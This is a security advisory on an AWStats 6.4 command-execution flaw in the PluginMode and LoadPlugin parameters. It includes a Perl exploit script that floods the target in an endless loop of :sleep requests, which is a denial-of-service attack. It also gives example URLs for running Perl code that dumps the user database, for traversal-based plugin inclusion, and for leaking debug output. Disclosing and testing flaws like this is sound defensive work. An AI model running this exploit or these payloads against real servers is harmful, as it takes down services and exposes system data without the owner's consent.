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AWStats PluginMode and LoadPlugin Command Execution
------------------------------------------------------------------------
SUMMARY
<http://awstats.sourceforge.net/> AWStats is "a free tool that generates
advanced web, ftp or mail server statistics, graphically". Remote
exploitation of an input validation vulnerability in AWStats allows
attackers to execute arbitrary Perl commands under the privileges of the
web server via the PluginMode and LoadPlugin parameter. The following
exploit code can be used to test your system for the mentioned
vulnerability (the exploit code contains samples and one PoC denial of
service exploit).
DETAILS
Vulnerable Systems:
* AWStats version 6.4 and prior
Exploit:
#!/usr/bin/perl
#
#
# Summarized the advisory www.ghc.ru GHC: /str0ke
#
# [0] Exploitable example (raw log plugin):
# Attacker can read sensitive information
#
#
http://server/cgi-bin/awstats-6.4/awstats.pl?pluginmode=rawlog&loadplugin=rawlog
#
# [1] Perl code execution. (This script)
#
# http://server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent
#
# [2] Arbitrary plugin including.
#
#
http://server/cgi-bin/awstats-6.4/awstats.pl?&loadplugin=../../../../usr/libdata/perl/5.00503/blib
#
# [3] Sensetive information leak in AWStats version 6.3(Stable) -
6.4(Development).
# Every user can access debug function:
#
# http://server/cgi-bin/awstats-6.4/awstats.pl?debug=1
# http://server/cgi-bin/awstats-6.4/awstats.pl?debug=2
#
# Be sure to change the $server + /cgi-bin location /str0ke
#
use IO::Socket;
$server = 'www.example.com';
sub ConnectServer {
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server",
PeerPort => "80")
|| die "Error\n";
print $socket "GET
/cgi-bin/awstats-6.4/awstats.pl?&hack=$rp&PluginMode=:sleep HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "\n\n";
}
while () {
$rp = rand;
&ConnectServer;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:foster@ghc.ru> GHC.
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